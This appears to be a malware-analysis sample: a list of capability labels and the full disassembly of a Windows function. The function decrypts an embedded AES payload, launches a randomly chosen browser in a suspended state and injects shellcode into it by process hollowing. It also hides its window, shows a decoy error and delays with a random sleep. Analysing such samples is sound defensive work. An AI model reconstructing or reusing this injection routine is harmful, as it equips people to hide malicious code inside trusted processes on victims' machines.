Function at 0x140001641
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Extract resource via kernel32 functions
Hide graphical window
Resume thread
Use process replacement

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x668
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, str.Error:_Computer_not_compatible
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.C:Program_FilesGoogleChromeApplicationchrome.exe
mov qword [rbp + 0x560], rax
lea rax, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
mov qword [rbp + 0x568], rax
lea rax, str.C:Program_FilesMozilla_Firefox_firefox.exe
mov qword [rbp + 0x570], rax
lea rax, str.C:Program_Files__x86_Internet_Exploreriexplore.exe
mov qword [rbp + 0x578], rax
lea rax, [rbp + 0x560]
mov rsi, rax
mov edi, 4
lea rax, [rbp + 0x587]
mov rcx, rax
call fcn.140015e70
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rdi
lea rcx, [rbp + 0x587]
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x540]
mov r8, rcx
mov rcx, rax
call method.std::vector_wchar_t_const__std::allocator_wchar_t_const___.vector_std::initializer_list_wchar_t_const___std::allocator_wchar_t_const__const_
lea rax, [rbp + 0x587]
mov rcx, rax
call sym.std::allocator_wchar_t_const_::allocator__
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
movsxd rbx, eax
lea rax, [rbp + 0x540]
mov rcx, rax
call method.std::vector_wchar_t_const__std::allocator_wchar_t_const___.size___const
mov rdi, rax
mov rax, rbx
mov edx, 0
div rdi
mov rcx, rdx
mov rax, rcx
mov dword [rbp + 0x5dc], eax
mov eax, dword [rbp + 0x5dc]
movsxd rdx, eax
lea rax, [rbp + 0x540]
mov rcx, rax
call method.std::vector_wchar_t_const__std::allocator_wchar_t_const___.operator___unsigned_long_long_
mov rax, qword [rax]
mov qword [rbp + 0x5d0], rax
call sym.rand
mov ecx, eax
movsxd rax, ecx
imul rax, rax, 0x2e8ba2e9
shr rax, 0x20
mov edx, eax
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
lea eax, [rdx + 5]
imul eax, eax, 0x3e8
mov dword [rbp + 0x5cc], eax
mov eax, dword [rbp + 0x5cc]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea r8, [0x1400211dc]
mov edx, 0x66
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp + 0x5c0], rax
mov rax, qword [rbp + 0x5c0]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp + 0x5bc], eax
mov rax, qword [rbp + 0x5c0]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp + 0x5b0], rax
lea r8, [0x1400211e1]
mov edx, 0x67
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x5a8]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp + 0x5a4], eax
mov rax, qword [rbp + 0x5a8]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp + 0x598], rax
mov r8d, dword [rbp + 0x5a4]
mov rcx, qword [rbp + 0x598]
mov edx, dword [rbp + 0x5bc]
mov rax, qword [rbp + 0x5b0]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call sym.DecryptAES_char__unsigned_long__char__unsigned_long_
mov eax, dword [rbp + 0x5bc]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x590], rax
mov ecx, dword [rbp + 0x5bc]
mov rdx, qword [rbp + 0x5b0]
mov rax, qword [rbp + 0x590]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov edx, dword [rbp + 0x5bc]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.MySecureZeroMemory_void__unsigned_long_long_
mov edx, dword [rbp + 0x5a4]
mov rax, qword [rbp + 0x598]
mov rcx, rax
call sym.MySecureZeroMemory_void__unsigned_long_long_
lea rdx, [rbp + 0x4d0]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x4d0], 0x68
mov rax, qword [rbp + 0x5d0]
lea rdx, [rbp + 0x4b0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x4d0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
test eax, eax
setne al
test al, al
je 0x140001aca
mov edx, dword [rbp + 0x5bc]
mov rax, qword [rbp + 0x4b0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x588], rax
mov r8d, dword [rbp + 0x5bc]
mov rax, qword [rbp + 0x4b0]
mov rcx, qword [rbp + 0x590]
mov rdx, qword [rbp + 0x588]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x10], 0x10000b
mov rax, qword [rbp + 0x4b8]
lea rdx, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
mov rax, qword [rbp + 0x588]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0x4b8]
lea rdx, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0x4b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp + 0x4b0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x4b0]
mov rdx, qword [rbp + 0x588]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0x4b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 0
lea rax, [rbp + 0x540]
mov rcx, rax
call method.std::vector_wchar_t_const__std::allocator_wchar_t_const___.vector__
mov eax, ebx
jmp 0x140001b1c
add rsp, 0x668
pop rbx
pop rsi
pop rdi
pop rbp
ret